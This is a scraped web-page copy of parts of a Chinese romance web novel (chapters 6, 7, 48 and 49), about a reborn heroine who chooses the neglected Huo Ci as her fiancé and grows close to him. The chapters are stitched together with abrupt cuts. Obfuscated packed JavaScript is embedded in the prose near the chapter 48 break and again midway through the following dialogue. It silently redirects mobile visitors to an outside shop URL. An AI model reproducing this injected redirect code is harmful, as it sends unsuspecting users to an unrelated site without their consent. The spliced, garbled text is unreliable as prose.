钟荔荔一直没出声,一是没有立场,二是乐见其成。宁姿放着霍亦辰这颗明珠不要,非要霍辞那颗鱼目,愚蠢至极。但是否也意味着她有机会摘下霍亦辰那颗明珠?想到这里,钟荔荔内心澎湃。 霍亦辰被这突如其来的变故打懵了,不甘与羞恼霎时充斥他内心,插嘴问:“为什么?” 他受不了被人挑拣,还是不被选择的那个,尤其另一人是从小放逐国外、不受重视的小叔霍辞。 “我是霍家继承人,将来霍氏饭店将由我掌管。况且我成绩优异,与你同入清远大学。样貌、身材更是没得挑。你为什么不肯与我订婚?” 呵,真会往自己脸上贴金。 宁姿站起身,目光随意落在桌沿边 6. 第六章 《庸俗订婚》全本免费阅读 宁姿再次强调不嫁霍亦辰,令他感到尊严受挫,当即火冒三丈,想冲上去揪住领口问她算什么东西,但又怕了自家祖母,只得拼命把气憋回肚子里去。 冯秀英小心翼翼瞥了霍亦辰一眼,看他脸黑得像抹了锅底灰,恨不得拿针线缝住宁姿的嘴,“宁姿,你乱说什么,快向霍少爷道歉。” 宁姿不理会,凝望霍辞,目光澄澈。 霍辞抿唇,抬眼问:“为什么选我?” 宁姿平静回道:“抱歉,我没法回答这个问题。” “没想过?”霍辞问。 “不,是不想撒谎。”宁姿回答得很果断。 霍辞感到意外,低低道:“不知该说你坦诚还是不坦诚。连你的意图都不清楚,你指望我稀里糊涂答应和你订婚?” “果然有点强人所难?” 很好,没否认。 霍辞睨着她。 宁姿口气自然,眼神纯粹,充溢期盼。霍辞觉得她眼里简直快要漏出光来,没犹豫多久,轻哂一声,说:“那就订婚吧。” 婚事顺利定下,霍老太首肯,其他人也不敢有意见。这顿饭后半段,大部分人食不知味,宁姿倒胃口大开。 霍辞又恢复先前孤僻的样子,再没开过口。落筷后,霍老太把他招到跟前说:“宝燕斋老板打电话说到了几只香炉摆件,你去替我瞧瞧。” “好。” 霍老太又转头和蔼地对宁姿说:“姿儿,你是女孩子,眼光比这小子好。辛苦你陪着去替我挑选,完事让他送你回家。我年纪大了,得早点回去歇着。” “好。”宁姿乖巧答道。 “我会送她回去,您放心。”霍辞唇角似乎微翘起,细看又没有。 霍亦辰看着这两人,心里堵得慌。这顿饭他连颗米都咽不下去,手捏成拳压在桌面上。 或许是过了下班高峰期的缘故,途中路况通畅,偶尔等几个红绿灯,车以平稳的速度行驶。霍辞双手把方向盘,上身挺直,目不斜视,没开口的意思,好在开了车载音响,不至于太安静。放的是一首老歌——《寂静之声》,沉缓的歌词随空灵的伴奏倾泻,萦绕在耳畔。 “你喜欢这首歌?”宁姿问。 “还好。”霍辞答得极其简洁。 宁姿果断放弃搭话的念头,视线移向窗外。车速不算快,风拂过她饱满的脸颊,如一双温柔的手在爱抚,撩起发丝翩然舞动。 金乌西沉,染红天际云霞,街道四周也被铺洒一片旖旎之色,视野里是柔软的暖橘。霍辞的目光不经意间扫向她,忘了收回。 傍晚温度降低,宁姿感觉有点冷,搓了下胳膊。霍辞不动声色按下升窗键。墨色车窗缓慢升起,风被隔绝在外面。 宝燕斋是一间古香古色的手工艺品店。店面没宁姿想象中大。门口两扇岁寒三友雕花檀木门,工艺精湛,雅韵深浓。 进店后,她忍不住赞叹。店内装修古朴雅致,木架上、橱柜里陈列各类精美的手工艺品,诸如香炉、木雕、陶瓷、绣品等她叫得上名字的,也有些形貌别致叫不出名字的,应有尽有,目不暇接。 店老板是位面相和善的老爷子,穿着暗红色唐装,精神矍铄。他看了霍辞一眼,上前打招呼,“你就是霍辞?” 霍辞恭敬点头,“燕老板好。” 燕老板仔细打量他,像透过他看另一人,“你和你父亲很像。” 霍辞稍显讶异,“从没人这样说过,都说我长得既不像父亲,也不像母亲。” “你的五官轮廓虽不似,但眉宇间的气韵却与你父亲年轻时别无二致。” 霍辞淡道:“真是稀奇,母亲说我萎靡颓废,终日一副烂泥扶不上墙的样子,看一眼就心烦。听说父亲年轻时积极昂扬,勤勉果决,应当与我截然不同才是。” 燕老板一笑,宽阔国字脸上五官舒展,“当我看走眼了吧。” 又转脸笑眯眯看向宁姿,“这位小姐是跟你一起来的?” “宁姿,我的未婚妻。”霍辞介绍得简洁,太过自然。反倒是宁姿略微不适应,迟疑片刻,没出声,只向燕老板点了下头。 “向二位道声恭喜,结婚时麻烦也送我张请柬。”燕老板客气地说,随后招呼二人进了间小房间。 这是间玲珑的储藏室,麻雀虽小,五脏俱全,装潢设计没得挑。乌木案几上摆放小巧的熏炉,正燃着有安神定气之效的沉香。室内藏品较大堂里的那些更为精细,巧夺天工。 燕老板将二人领到一座黄花梨木架前,指着上方摆放一排的袖珍香炉摆件说:“这批就是新到的货。” 从左往右依次介绍,“最左侧的是铜洒金宣德炉,花色丰富的是景泰蓝缠枝莲香炉,正中是冲耳式铜香炉,上塑狮面的是铜狮耳炉,最右端的是立耳三足炉。” 霍辞看向宁姿,“你来选。” 宁姿不懂香炉,但见其中一鼎有些眼熟,回忆起上一世在霍家老宅见过,就放在茶室里,霍老太对它爱不释手,于是指向那鼎造型奇特的蓝色小香炉说:“就要那个。” “这么随便?”霍辞有些意外。 宁姿仰起小脸说:“不是随便,我认真挑选的。” 燕老板点头称道:“这位小姐年纪轻轻,眼光却是极好的。景泰蓝缠枝莲香炉是这批货里最出彩的一鼎。掐丝精细,以天蓝色珐琅为地,五色缠枝莲花十朵,釉色丰富,光润雅正。我与霍夫人相识多年,敢断言她亲临,也会选这一鼎。” “看来真有做一家人的缘分,品味都这么相似。”燕老板笑说,“霍夫人福气好,小儿子讨了个合心合意的媳妇。” 宁姿的目光像被吸过去,不自觉看向霍辞。正巧他也在看她,二人目光纠缠在一起。几秒后,她定定神,一边扭开脸,一边稳住嗓音说:“麻烦包装下。” 回到车上,宁姿小心地把装香炉的木盒抱在怀里。 “给我吧。”霍辞从她手里接过,放到后座。 宁姿拉安全带,似乎哪个位置被卡住,拽一小截就拽不动了。她试过往其他方向拉,用更大力气,依然纹丝不动。 霍辞倾身靠近,大片阴影笼罩在她身上,她下意识后仰,贴紧椅背,紧张得忘记了呼吸。当霍辞指端触到安全带的瞬间,她触电般松手。不知道为什么,安全带到霍辞手里轻巧一带就拉出来了,他替宁姿系上,却没及时抽身,阴影如浓云般遮蔽照明灯的暖光。他的脸也在一片暗色中,面对她,身后窗外是浓墨般的夜色。 近在咫尺的凝视使宁姿不自在地绷直面颊,垂下眼问:“做什么?” 霍辞低沉的嗓音在黑暗里显得愈发磁性,像深海里随时吞没人的危险漩涡,他答:“我们是未婚夫妻,做什么都是合理的吧?” 宁姿忍不住想推开,又觉得他的话没错,订婚是她提出的,此刻的确没立场这样做,于是克制自己顺应不动。 霍辞只是低头看她,没有多余动作,不知埋在眼底的是兴味还是探究,良久后,抽身坐正。笼罩在身上的阴影散尽,宁姿重又恢复均匀呼吸。 回程途中依旧安静,车里回荡音乐声,这次是《斯卡波罗集市》。 车停在家门口,宁姿解开安全带,说:“谢谢送我回家,你也早点回去,路上注意安全。” “等一下。”霍辞开口,“不愿坦白选我为订婚对象的理由,至少得告诉我你真正的打算。” 他顿了下,目光锐利,霎时探入宁姿眼底,“在你的计划里,我们会走到哪一步?要做真正的夫妻吗?” 她懵了,说不出话,连眼都忘了眨。这个问题她从没想过,一心只想改变嫁给霍亦辰的悲剧 7. 第七章 《庸俗订婚》全本免费阅读 宁姿发话了,钟荔荔再不满也只能偃旗息鼓,谁叫她寄人篱下。第二天,她乖乖打包好东西搬去西面小卧室。 大卧室门口,宁姿看着布置好的房间,纤尘不染、采光充足,心情畅快明朗。 正在这时,钟腾夫妇踏着“噔噔噔”的步子风风火火跑来。冯秀英脸色发青,问:“你找来的那些工人怎么回事?还闯进我们屋里搬东西。” “我忘了说吗?”宁姿明知故问,“舅舅、舅妈得搬进客房住。” “什么?”二人齐声质问,一声比一声高。 “你不是在开玩笑吧?”冯秀英问,“我们为什么要搬去客房?” “今天我让工人们往最大那间客房里搬了张双人床。这床妙得很,可合拢在一起,也可分成两张小床,为的就是让二位住得舒适。”宁姿不疾不徐道。 “好得很。”钟腾咬牙挤出几个字,脸上横肉跟着抖,“我们做长辈的还得听你吩咐了,你可真是孝顺啊。” 事到如今,宁姿不怕跟他俩撕破脸,但她偏不,故意压下眉梢,做出副为难神色,“舅舅听说过霍老夫人信风水一说吧?” 钟腾不作声,听她说下去。 “昨天去宝燕斋时和老板聊了几句,原来他老人家对这些颇有研究,指出红鼎轩亏损的缘由是你们占了我父母的卧室,破了风水。得把房间空出来,打扫干净,你俩的东西一件不留,再摆上我父母的相片,日日贡香,才能得到保佑。” “你好歹是受过教育的,怎么能听信这种胡言乱语?”钟腾驳斥道。 宁姿语气依然平稳,“宁可信其有,死马当活马医,总不能靠霍家接济一辈子。” 漫不经心翘着手指头边玩边继续说:“再说,燕老板可是霍老夫人的老友。莫非舅舅觉得霍老夫人识人不清,结交了个故弄玄虚的骗子?” “那当然不是。”钟腾矢口否认。 “这就对了。”宁姿扬起个笑,“霍老夫人也信风水,这事处理得不妥当,怕会影响婚事。舅舅、舅妈那么重视这次订婚,肯定会通情达理搬去客房住,对吧?” 冯秀英苦着张脸,憋屈得很,心里一千个不愿,狂向丈夫使眼色。 钟腾面如菜色,厚唇张了又合上,干巴巴憋出一句,“还是你考虑周全,婚事最要紧。” 这天工人走后,晚饭时餐桌旁只坐了宁姿一人,听见楼上传来吵嚷声,是冯秀英在哭诉——“这下好了,荔荔被赶去小屋子里住,我们身为长辈,也窝在客房里。你这样窝囊,算什么一家之主!”之后声音沉下去,再也听不见,估计是钟腾遏制住她。 这一顿饭虽不清静,但宁姿吃得很香。 晚饭后,她去了主卧。 钟腾夫妇搬来后,家具已换过一轮。她根据记忆和儿时的照片特意选购一样或近似的家具重新布置,人停在一家三口的全家福相片前,伸出清白指尖触摸边框。画面正中,玉雪玲珑的小女孩笑容灿烂,露出两颗门牙。 不禁潸然,低声呢喃,“爸、妈,女儿不孝,多年来愚痴不悟,错把奸人当作亲人。为求虚假的温暖,听之任之,浑浑噩噩度过这些年,没守护好倾注你们一生心血的红鼎轩,自己也所嫁非人,惨痛收场。” 五指蜷缩,握成拳,垂在身侧,宁姿阖上双眼,再睁开时郁色散尽,只剩坚定,“噩梦已经过去。虽然无法回到那些与你们团聚人生中最快乐的日子,但请相信女儿,我一定改写命运,守好红鼎轩。” 她弯起唇角,面容干净,像雪岭云杉般具有旺盛的生命力,和照片里的小女孩重叠,语气柔软道:“我订婚了,对方名叫霍辞,是霍老夫人的小儿子。他不是私生子,只是出生那年霍氏饭店遭逢变故,事业跌落谷底,霍老夫人分身乏术,只好把他送去国外外祖父母家寄养。我想也是因为这样,他和老夫人并不亲近。” 说到这里,她垂下眼皮,嗓音更沉,“选中他的原因,你们应该知道。未来他功成名就、众星捧月,霍亦辰那狗崽子也低下身段刻意讨好,结果失望而归。” “如果你们在我身边,或许不会同意,会责骂我目的不纯,根本不了解他,就……”她越说声音越小,看着相片里父母的脸,小鹿般圆润的眼睛里泛着温柔的光,声音柔软又坚定道,“但我做出了选择就不会后悔,希望得到你们的祝福。” 脸颊贴在相片上,闭上双眼,眉心舒展,像在感受亲人的爱抚,轻声呢喃,“好想你们。” 这天晚上,宁姿做了个很长的梦,梦里她回到小时候,爸爸、妈妈牵她的手带她去公园里玩秋千。小宁姿一点也不怕高,因为身后有信赖的人为她保驾护航,那是一段无与伦比的好时光。 周日傍晚,宁姿受霍老太邀约去霍家老宅用晚餐。 黑色玛莎拉蒂停在大门口,她上了副驾驶座,关上车门,系上安全带后身子坐正,长吐出一口气,说:“我想好了,就做真夫妻吧。” 许久没听见动静,宁姿耐不住性子,转过脸去,谁知霍辞正盯着她看,目不转睛,眸中仿佛冬雪消融般明色倾城。 她被盯得不好意思,不愿露怯,强迫自己和他对视,问:“当然,得尊重你的想法。所以,你觉得怎么样?” “好像也没什么不好。”霍辞沉着嗓音拖长语调,颇有几分故意的嫌疑。 宁姿点了下头,“那就好,达成共识了。” 霍辞转过头去,目视前方,发动汽车。 霍家老宅位处山顶,独家屹立,周边环境清静雅致,可俯瞰都市繁华全景,一道绿水环绕,宛如碧玉带,是全市最好的观景台。 去老宅得先过段盘山路,山脚路口处设了保安亭,日夜轮岗制,确保不会有外人上山。尽管山路弯道多,霍辞依然把车开得平稳。 半山腰处,迎面来了另一辆车。驾驶座坐的是司机,霍亦辰坐在后座,两只胳膊松散地搭在椅背上,定睛看了眼前车内的两人,瞬间坐正,张嘴说了什么,随后他的车停在路中间,霍辞被迫停了车。 “我去看一下。”霍辞交代一句,下了车。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陡然间,关元明重重一巴掌扇在他脸上,响声清脆,令在场所有人来不及反应。关嘉一侧的脸颊迅速变得红肿,关夫人吓坏了,一把搂住他,声线跟着颤抖,“你干什么?” “让他过来,必须给他教训!”关元明瞪视的目光凶狠愤怒,仿佛被烈焰烧着了,看得人害怕。 关夫人护着关嘉,“你这样是解决不了问题的,再说,还有客人在呢。” 这句话点醒了关元明,他为人好面子,尽然依然黑着脸,还是压制情绪对霍辞说:“天色已经不早了,两位先回吧。改天我一定登门拜访,郑重感谢。” 宁姿与霍辞对视一眼,都没有挪步的意思。 关元明转身大步迈进花园,沉声道:“把关嘉带进来。” 谁知关嘉一把推开关夫人的手,对着关元明的背影坚定道:“我没错。” 关元明背影一晃,回过身来,顺了两口气后,沉声道:“再说一遍。” 关夫人害怕极了,赶紧捂住关嘉的嘴,他却先一步躲开,咬牙道:“错的人不是我,是你。” 关元明两腮绷紧,朝关嘉大步走来,厉色外露。宁姿下意识上前,将关嘉护在身后。关元明一眯眼,神色不悦,“宁小姐,虽然很感激你们把关嘉带回来,但我现在要管教儿子。别人的家务事,你插手不太好吧?” “的确,我没有资格插手别人的家事,但还是想多劝一句,暴力是解决不了问题的。如果您真的是为了嘉嘉好,那就心平气和地和他谈一次,了解他这样做背后的缘由,而不是简单粗暴地通过暴力宣泄情绪。”宁姿纹丝不动。 “哼,宁小姐年纪轻轻,还没正式嫁入霍家,更没生育过,却对教育别人的孩子有一套独特的见解。”关元明吊起一边唇角冷笑,神色不屑,“听说宁小姐的父母早年间过世了。” 她听这话,不由得眼眶发热,心头像被针刺了一下。 “难怪,没有人教过宁小姐随意插手别人的家事是无礼的行为;在长辈面前自以为是也是无礼的行为;未婚夫还没说话,你就在这里说得头头是道,自作聪明,更是无礼至极。”关元明蔑视她,大声道,“作为长辈,也得提点你一句,想顺利做霍家的儿媳,就得知礼守礼,不要因为读过几年书就自以为是,连长辈和你的未婚夫都不放在眼里了。” “她的未婚夫比她更无礼。”一道冷飕飕的声音传来,令关元明感到诧异。 霍辞跨前一步挡在宁姿身前,眉宇间满是戾气,“不论是长辈还是什么,没人可以对我的未婚妻指指点点。” 字字掷地有声,他的背影高大而挺拔,犹如一堵坚实的城墙为她挡住风暴。 48. 第四十八章 夜凉如水,路面上孤独的路灯散着幽暗的光。 霍辞挡在宁姿身前,目视关元明,面容冷峻。 关元明扯了下唇角,眼中却没有笑意,满是愠怒,“霍辞,我是看在你母亲的面子上才对你客客气气。怎么,现在翅膀硬了,自立门户,连我们这些看着你长大的叔伯都不放在眼里了吗?” “搬出长辈的身份压人,说明已经失去道理,是心虚的表现。”霍辞毫不迟疑,冷冷道,“我如何看待你,并不重要。你的所作所为已经伤害到你的妻子和孩子。作为丈夫、父亲,难道不该及时调整自己尽到责任吗?” 他略一转身,垂眸望向宁姿,疏离冷静的黑眸染上了柔色,“同样的,我身为未婚夫,也要尽到保护未婚妻的责任。” “从前竟以为你是孤僻寡言的一个人,看来是我这当叔叔的看错了你。这样的一面,你母亲见识过吗?”关元明讥嘲道。 在听到这句话后,霍辞不仅没动摇,还轻飘飘说道:“我与母亲之间的事,与你无关。” “怎么能说无关?我与你的父母是老朋友,见你这样肆意妄为,一而再令你母亲失望,我做不到置之不理。再说,难道要我眼睁睁看着自己的儿子在你的影响下变成你这样忘恩负义、不忠不孝的人吗?”关元明略带轻蔑之意,冷笑道。 宁姿从霍辞身后走出来,抬头看向关元明,那双眼睛淡然而冷漠,好像一眼就看穿了他的龌龊心思,“关先生,我们敬你是长辈,但如果你再出言不逊,攻击谩骂我的未婚夫,我也不会再容忍。” 关元明轻嗤了声,“宁小姐是因为长辈的约定才与霍家子孙订婚,虽然不知道你为什么会放弃被寄予厚望、优秀卓越的霍亦辰,而选择早已被放弃的霍辞,但你对他的了解显然并不深。” “我自己的未婚夫,不需要从你的口中认识他是什么样的人。至于霍亦辰,他优秀?恐怕正是因为他精明,却没有真正的智慧,你才看好他,鼓吹霍夫人器重他。”宁姿看着他,一字一句道,“我斗胆猜测一下,你是觉得霍夫人年纪大了,霍亦辰又好拿捏,站在你这边,只要推举他上位,以后霍氏就由你说了算。这才是真正的忘恩负义、狼子野心吧。” “你……你这是诽谤!”关元明气得面颊涨红,冲宁姿大步走来。 霍辞快一步,再次挡在她前面,堵住关元明的路,“有话站在原地说。你身为长辈,又是个男人,不该恼羞成怒威胁女人,否则我也顾不得礼节了。” “好得很,我总算知道她为什么选了你,你们两个同样傲慢无礼、自以为是,般配得很。”关元明愤而讥嘲。 霍辞不屑一顾,“我与她般配,这一点无需从你口中听到。” 关元明没好气道:“你母亲属意霍亦辰继承霍氏,原本打算让你进霍氏先历练几年,等他毕业后,再辅佐他。偏偏你一意孤行,不惜与家里闹翻也要自己出去闯荡。就算是养一条狗也不像你吃里扒外,比你要忠心许多。” “像你这样?”霍辞轻嗤一声。 “混蛋!”关元明气得想上前抓住他的领子,却被他一个冷冰冰的目光吓了回去,愤愤点了几下头,“难怪你母亲从来就看不上你,都是有原因的。” 宁姿见霍辞僵硬地扯了下唇角,两颊都绷紧了,双手虚握成拳,忙用温热的掌心紧贴他的手背,与他并肩站立,“父母辈的错误,却让后代买单,这不公平。” 这话既是回击关元明对霍辞的攻击,也是对他的警告。她的目光又移向关嘉,男孩纤细的眉头紧皱,眼眶中含有水汽,触及她的目光,颤声说:“对不起……” 他感到十分愧疚,觉得如果不是为了他,两人也不会受到他父亲的为难。 宁姿轻摇头,五官柔和下来,“这一切跟你无关,你要自信坚定地面对,做自己心中想做的事,成为心中想成为的人,就像我们约定好的一样。” 关嘉哽咽着点头。 宁姿牢牢地握住霍辞的手,对关元明冷道:“夜深了,我们就不打扰了。至于登门拜谢,免了吧。” 她感受到霍辞回握的力度,牵着他向车停的方向走去。 关元明恶狠狠瞪着两人的背影,怒道:“不识抬举。” 上车后,霍辞颤颤地系安全带,没成功,宁姿不由自主地抚住他的手背,掌心严丝合缝贴了上去。 他如同从梦中惊醒,抬起眼看她。宁姿忽觉得心上一痛,随即展开温柔的笑颜,“还不想回家,陪陪我,好吗?” 其实是她察觉霍辞被关元明的话刺痛,不放心,想要陪陪他。 “想去哪儿?”霍辞哑声问。 “外面很冷……”宁姿转着眼珠思考,拉着他的手,低声道,“去你住的地方,好不好?” 一切仿佛戛然而止,霍辞神色错愕,眼睛都忘了眨。 霍辞现在住的地方是电梯公寓,面积不算大,里面只有客厅、厨房、卧室、卫生间,除生活用品外,基本没有任何装饰。 宁姿站在玄关处,问:“不换拖鞋吗?” “不知道你会来,家里没有多的拖鞋。怪我考虑不周到,现在下楼去买。你要喝点什么?我一道买回来。” 霍辞说着话往门外走,宁姿先一步抓住他的手,“不用那么麻烦,我是临时起意来你住的地方看一下,你又怎么可能未卜先知?就这样吧,下一次我来的时候,要备好我的专属拖鞋。” “下一次?”他有些诧异,不好意思地说,“这地方不大,东西也少,我就是图交通方便,屋里也没好好布置。” 宁姿眸光微闪,“我觉得挺不错的,只不过冷清了点。家里有什么喝的?” “只有矿泉水。” “就喝这个。”她爽快道。 霍辞略一张口,想说还是他下楼再买些其他饮品,宁姿已看出他的心思,打断道:“听我的,我又不是客人,不许对我客气。” 霍辞笑道:“好,先进去坐。” 他反握住她的手,拉她到客厅长沙发坐下,“矿泉水冻在冰箱里,冬天喝凉的不好,我去加热。” 霍辞交代完,正想起身,宁姿却不肯松手,“别去了,我不渴。” 她直勾勾盯着他,声音轻而甜软。霍辞垂眼睑,与她视线相接,眼眶微微发红。 “你看起来有些疲惫。”宁姿轻喃,抬手温柔抚摸他的眼角。 “还好。”霍辞轻道,嗓音泛哑。 “不信。”宁姿闷道,忽然弯下身将脸埋入他怀中,像个耍赖的孩童双臂紧紧环住他劲瘦的腰身,脸颊贴在他温热的胸膛,安静聆听耳畔强有力的心跳声。 霍辞愣了下,随即手抚上她的头发,悄然扬起唇角,“该怎么说你才好?深夜在一个独居男人的家里,就这样不管不顾抱住他。” “我才不管那么多,心里头不舒坦,你必须好好安慰我。”宁姿的声音哽咽,像在委屈,又像是撒娇。 霍辞顺着她顺滑的长发一下一下缓慢地往下顺着,耐心安抚,“好,我哄你。是谁惹我们漂亮的宁姿小姐不高兴了?” “我舍不得关元明那样说你,很不高兴。”宁姿把心里话说出来,仰起脸看他,“霍辞,我好像真的非常喜欢你。” “好像?”他笑笑,挑眉问。 “不,是肯定。我们之间的顺序有些奇怪,先订婚,后交往,喜欢上。但我非常确定,我就是喜欢你。”宁姿小声说。 霍辞纤长脖项上喉结微微上下滚动,“叫我怎么说你才好?不仅钻进男人的怀里,还忽然表白,是在考验我的定力吗?” “我想让你知道,从今往后,不论什么时候,发生任何事情,我都站在你这边。”她抬手,碰触他的脸庞。 霍辞触电般微微颤动,默然许久后才开口,“不要骗我,狡猾的小姑娘。” “不骗你,不食言。”她的脸颊在说出这句话时,轰的一下,犹如被点燃般彻底红透了。 霍辞搂着大胆表白的小姑娘,宽阔的胸膛微微震动,闷声说:“知道吗?我想吻你,可害怕自己把持不住。” 话音刚落,宁姿忽然勾住他的后颈,将他整个人往下压,然后伸长脖子迎上他淡红的唇瓣。两人轻浅的呼吸,在辗转间渐渐变化,失去原有的节奏,变得急促又缠绵,周遭空气温度都似攀升。 意乱情迷之际,男人温热的大手在她脊背缓慢游走,颊边忽感温热,是一滴清泪自她眼角漫出,缓缓滑落。霍辞松开她,疼惜地替她抹去泪水,语气有些着急,“好端端的,怎么哭了?” 细细一看,宁姿满脸是泪,唇角下垂,低喃道:“关元明说的那些话像一把把刀一样刺进我的心里,一想到他害你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883799|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难过,我就感到委屈。” 听完,霍辞稍微松了口气,“傻瓜,还以为你怎么了。我承认,他说的话的确有刺痛我,但那份痛苦在你的疼惜与抚慰下已渐渐变淡,消失无踪。” “你说谎,我哪有那么大能量?”宁姿泪眼婆娑。 他把脸埋进女孩温暖细腻的颈窝,呢喃道:“你非常喜欢我?” 宁姿立时点头,耳畔响起他清冷又坚定的声音,将她心底波澜的池水温柔抚平,“我对你也是同样的感觉。宁姿,你在我心里占据了非常重要的位置,我已经感觉太幸福了,又怎么会轻易被他的话语伤到?” “是真的吗?”宁姿不确定。 霍辞握紧她的手,贴在他瘦削的脸颊,这一刻,他的心滚滚发烫,“看着我的眼睛,你可以从中获取答案。” 宁姿目光专注,不再说话。她的手掌生出温热,视线锁定在他的眉眼,只见他的眼瞳亮而乌黑,似趁着洁净的潭水,又如月光般温和柔软。她总算安心,闭着眼睛“嗯”了声,忽地轻笑了下。 霍辞手指落在她的鼻尖上,轻轻滑,“从前我总觉得上天亏欠了我,可如今才知道,它是偏爱我,把最好的都留给了我,知足了。” 宁姿听他说着,淡淡一笑,面容像纯白的栀子花一样洁净。 “想知道我和母亲之间的事吗?”他低声问。 “你愿意告诉我?”宁姿反问。 霍辞轻点了下头,“我有一个哥哥,他自小成绩优异、能力出众,性情温和沉稳,与父亲如出一辙。与对我的防备、漠视、偏见不同,母亲很偏爱哥哥。” “你哥哥是霍亦辰的父亲?” “没错,哥哥意外离世后,母亲把对他的爱与器重全部转移到了霍亦辰身上。”他淡道。 宁姿看他一眼,注视他的表情变化,“你恨你哥哥吗?” “恨?不,我爱他。”霍辞毫不犹豫回答,“母亲也以为我嫉妒他,所以不让霍亦辰与我多接触,但实际上,在霍家,大哥给了我深厚的爱护,让我的过去不显得悲惨零落。” “你母亲为什么那样对你?”她哑然,过了会儿问。 他却答非所问,“你知道我的名字为什么叫‘霍辞’吗?” “辞……文辞?”宁姿猜测。 “是‘辞别’的意思,我并不像外界传言是父亲与别的女人的私生子,我是母亲十月怀胎亲生的儿子,但她观念古旧,听信测算之说,认定我与父亲五行相克,对他不利。母亲早已动过心思想把我送走,放到国外的外祖父家抚养,但我父亲却否决了她的提议,坚决把我留下。” 宁姿立刻说:“你的父亲是爱护你的。” 霍辞轻叹,“是呀,可惜他病逝了,或许正如母亲所说,他是被我克了。” “不,这跟你无关,只不过是巧合罢了。”她急切道。 “谢谢你这样想,但母亲不是这样。虽然外界对他们夫妇感情有太多恶意揣测,但事实上他们的结合是因为真挚的爱。因此,母亲无法接受父亲离世,把对爱人无望的爱、沉痛的不舍化作对我的怨念,年幼的我被送走,实际上是抛弃。”霍辞微抿着唇,本以为自己能平淡地说出,没想到苦涩的滋味快要弥漫到整个胸腔,“这就是我和母亲的故事。” 宁姿心里头也不是滋味,“人都有离开的一天,早或迟而已。” “但我依然贪心地希望在意我的人能走得慢一些,再慢一些。”他神色黯然。 宁姿握紧了他的手,“不要害怕,更不许怀疑自己。我相信人的命运由天定,怎么可能轻易受你影响?你以为自己是谁,有那么重要?” 霍辞表情松懈,低笑了一声,“听你这么说,我心里头轻松不少。” 宁姿温柔注视着他,跟着嘻嘻哈哈笑了几声,见他终于不难过,心口一软,展开双臂,“让我抱抱你。” 霍辞眸光微微闪动,“不长记性,我刚教过你什么?” 她被问住了,表情迷茫。 霍辞很快按住她的肩,强势将她按到在柔软的沙发上。宁姿惊住了,忍不住想后退,但他一只手及时搂住她的腰,另一只手撑在一旁,阻隔了她的退路。 他俯视着她,二人鼻尖仅相隔微末的距离,低哑着声音道:“提示一下,深夜,在一个独居男人的家里。” 49. 第四十九章 屋内温暖而不憋闷,光线明亮,呈暖橘色,明明没有燃香,气息却似有通透的香甜。 霍辞伏在宁姿身上,仅相隔微妙的距离,更显暧昧。宁姿眼睛微睁,看到面前男人清晰的轮廓。他略带气声的嗓音,低沉荡在她耳畔,“你是太没概念,还是没把你的未婚夫放在眼里?” 霍辞一面指尖漫不经心在她领口边缘划过,一面讳莫如深地微笑,却不想,宁姿也笑了。他的气息一点点轻挠她的耳阔,令她心里感到酥痒难耐,只得答道:“都不是,是我喜欢这种感觉。” 刚才被按倒时,她的衣领错开,散乱,露出一片雪白无瑕的香肩,身上穿着柔软的毛线裙,领口的蕾丝恰好挡住了锁骨,若隐若现,透出诱人的纯欲感,不禁惹人心思。偏她神色淡然,有恃无恐,霍辞见了,心里像烧起一团火,升起心思非要给这不知天高地厚的小丫头一点颜色看看,索性埋下脸,齿尖轻咬了下她圆润的肩头。 宁姿眉头微蹙,忍不住嘤咛一声,身体跟着颤动,张扬的笑容终于消解,满眼错愕地盯着罪魁祸首,神态纯净又讶异,像是初生的小鹿一般可怜。 “怕不怕?”霍辞抿着唇淡笑。 宁姿心头确实紧张,扯了扯嘴角,话都说不出来,但又为倔强的个性不肯认输,反倒破罐破摔伸长雪白脖项,抬起下颚难缠的野猫般咬了口男人的鼻尖,随后得意地哼了声。 霎时,霍辞呼吸加重,淡红的嘴唇微抖,眼神里微眯,露出危险的表情,笑容完全收住了。下一秒,宁姿顿感颈间灼烫,伴随着细微的疼痛感,是他在用力啄吻、吮吸,并非浅尝辄止,反倒一路往下,所过之处,脖项、锁骨、肩头全都染上暧昧的绯色。 他一手禁锢着她,一手将人卷入自己怀抱的更深处。细密而沉重的呼吸从未停止,室内急促上升的燥热令宁姿的心跳声越来越剧烈密集,如鼓点般砸响。最终,她败下阵来,忍不住从嗓子眼挤出微弱颤抖的一声,“我认输了。” 霍辞停住磨人的啄吻,转而将脸埋在少女莹润白皙的肩头,没有移开的意思,温热的呼吸依然喷薄在她脆弱的肌肤。宁姿耳畔传来他闷闷的声音,“没道理,你一认输,我就得放过你吗?” “你承诺过会一直让着我,听我的话。”宁姿反驳。 霍辞又笑了声,“男人的话也轻信,果然是个没概念的小丫头。” “你!”宁姿气得胸脯起伏,握起粉拳就朝他背上砸,却被他抢先一步禁锢住手腕,抵在沙发上,“再教你一件事,这种时候,你少动为妙,不然情况会更危险。” 听了这话,宁姿没敢再惹事,乖乖不动了,任他扣住她的纤腰,甚至在他轻轻捏她的腰肉时也没反抗,茫然地看着他。 宁姿本就生了副柔弱妩媚的好模样,一旦乖巧起来,让人忍不住心软。霍辞拿她也无可奈何,脑袋晕乎乎的,像喝过酒一样上头,只得用定力约束自己。他修长的手指替她把杂乱的领口重新整理,用薄薄的衣料掩住肩头,才松开她起身。 宁姿赶紧随他坐直,生怕他又反悔,还欲盖弥彰地偏过头去理了理头发。 霍辞仍忍不住瞄她,目光发直,眼巴巴盯着看,理智慢慢回笼。忽而视线定格在白皙的侧颈,一动不动。 